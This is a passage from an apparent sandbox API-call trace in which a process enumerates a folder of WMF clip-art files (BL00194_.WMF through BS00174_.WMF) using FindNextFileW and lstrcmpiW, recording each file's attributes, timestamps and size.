ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0079.612] lstrcmpiW (lpString1="BL00194_.WMF", lpString2=".") returned 1 [0079.612] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="..") returned 1 [0079.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0079.612] lstrcmpiW (lpString1="BL00195_.WMF", lpString2=".") returned 1 [0079.612] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="..") returned 1 [0079.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0079.612] lstrcmpiW (lpString1="BL00234_.WMF", lpString2=".") returned 1 [0079.612] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="..") returned 1 [0079.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0079.612] lstrcmpiW (lpString1="BL00242_.WMF", lpString2=".") returned 1 [0079.612] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="..") returned 1 [0079.612] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0079.612] lstrcmpiW (lpString1="BL00247_.WMF", lpString2=".") returned 1 [0079.613] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="..") returned 1 [0079.613] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0079.613] lstrcmpiW (lpString1="BL00248_.WMF", lpString2=".") returned 1 [0079.613] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="..") returned 1 [0079.613] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0079.613] lstrcmpiW (lpString1="BL00252_.WMF", lpString2=".") returned 1 [0079.613] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="..") returned 1 [0079.613] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0079.613] lstrcmpiW (lpString1="BL00254_.WMF", lpString2=".") returned 1 [0079.613] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="..") returned 1 [0079.613] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0079.613] lstrcmpiW (lpString1="BL00261_.WMF", lpString2=".") returned 1 [0079.613] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="..") returned 1 [0079.613] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0079.613] lstrcmpiW (lpString1="BL00262_.WMF", lpString2=".") returned 1 [0079.613] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="..") returned 1 [0079.613] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0079.613] lstrcmpiW (lpString1="BL00265_.WMF", lpString2=".") returned 1 [0079.613] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="..") returned 1 [0079.613] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0079.613] lstrcmpiW (lpString1="BL00267_.WMF", lpString2=".") returned 1 [0079.613] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="..") returned 1 [0079.613] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0079.613] lstrcmpiW (lpString1="BL00269_.WMF", lpString2=".") returned 1 [0079.613] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="..") returned 1 [0079.613] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0079.613] lstrcmpiW (lpString1="BL00270_.WMF", lpString2=".") returned 1 [0079.613] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="..") returned 1 [0079.613] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0079.613] lstrcmpiW (lpString1="BL00273_.WMF", lpString2=".") returned 1 [0079.613] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="..") returned 1 [0079.613] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0079.613] lstrcmpiW (lpString1="BL00274_.WMF", lpString2=".") returned 1 [0079.614] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="..") returned 1 [0079.614] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0079.614] lstrcmpiW (lpString1="BL00296_.WMF", lpString2=".") returned 1 [0079.614] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="..") returned 1 [0079.614] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0079.614] lstrcmpiW (lpString1="BL00390_.WMF", lpString2=".") returned 1 [0079.614] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="..") returned 1 [0079.614] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0079.614] lstrcmpiW (lpString1="BL00392_.WMF", lpString2=".") returned 1 [0079.614] lstrcmpiW (lpString1="BL00392_.WMF", lpString2="..") returned 1 [0079.614] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0079.614] lstrcmpiW (lpString1="BL00524_.WMF", lpString2=".") returned 1 [0079.614] lstrcmpiW (lpString1="BL00524_.WMF", lpString2="..") returned 1 [0079.614] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0079.615] lstrcmpiW (lpString1="BL00525_.WMF", lpString2=".") returned 1 [0079.615] lstrcmpiW (lpString1="BL00525_.WMF", lpString2="..") returned 1 [0079.616] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0079.616] lstrcmpiW (lpString1="BL00526_.WMF", lpString2=".") returned 1 [0079.616] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="..") returned 1 [0079.616] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0079.616] lstrcmpiW (lpString1="BL00648_.WMF", lpString2=".") returned 1 [0079.616] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="..") returned 1 [0079.616] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0079.616] lstrcmpiW (lpString1="BL00921_.WMF", lpString2=".") returned 1 [0079.616] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="..") returned 1 [0079.616] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0079.616] lstrcmpiW (lpString1="BL00923_.WMF", lpString2=".") returned 1 [0079.616] lstrcmpiW (lpString1="BL00923_.WMF", lpString2="..") returned 1 [0079.616] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1 [0079.616] lstrcmpiW (lpString1="BL00932_.WMF", lpString2=".") returned 1 [0079.616] lstrcmpiW (lpString1="BL00932_.WMF", lpString2="..") returned 1 [0079.616] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7d46d00, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7d46d00, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0079.616] lstrcmpiW (lpString1="BL00985_.WMF", lpString2=".") returned 1 [0079.616] lstrcmpiW (lpString1="BL00985_.WMF", lpString2="..") returned 1 [0079.616] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0079.616] lstrcmpiW (lpString1="BOAT.WMF", lpString2=".") returned 1 [0079.616] lstrcmpiW (lpString1="BOAT.WMF", lpString2="..") returned 1 [0079.616] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0079.616] lstrcmpiW (lpString1="BOATINST.WMF", lpString2=".") returned 1 [0079.616] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="..") returned 1 [0079.616] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0079.616] lstrcmpiW (lpString1="BS00076_.WMF", lpString2=".") returned 1 [0079.616] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="..") returned 1 [0079.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0079.617] lstrcmpiW (lpString1="BS00078_.WMF", lpString2=".") returned 1 [0079.617] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="..") returned 1 [0079.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0079.617] lstrcmpiW (lpString1="BS00092_.WMF", lpString2=".") returned 1 [0079.617] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="..") returned 1 [0079.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0079.617] lstrcmpiW (lpString1="BS00100_.WMF", lpString2=".") returned 1 [0079.617] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="..") returned 1 [0079.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0079.617] lstrcmpiW (lpString1="BS00135_.WMF", lpString2=".") returned 1 [0079.617] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="..") returned 1 [0079.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0079.617] lstrcmpiW (lpString1="BS00136_.WMF", lpString2=".") returned 1 [0079.617] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="..") returned 1 [0079.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0079.617] lstrcmpiW (lpString1="BS00145_.WMF", lpString2=".") returned 1 [0079.617] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="..") returned 1 [0079.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0079.617] lstrcmpiW (lpString1="BS00174_.WMF", lpString2=".") returned 1 [0079.617] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="..") returned 1 [0079.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, 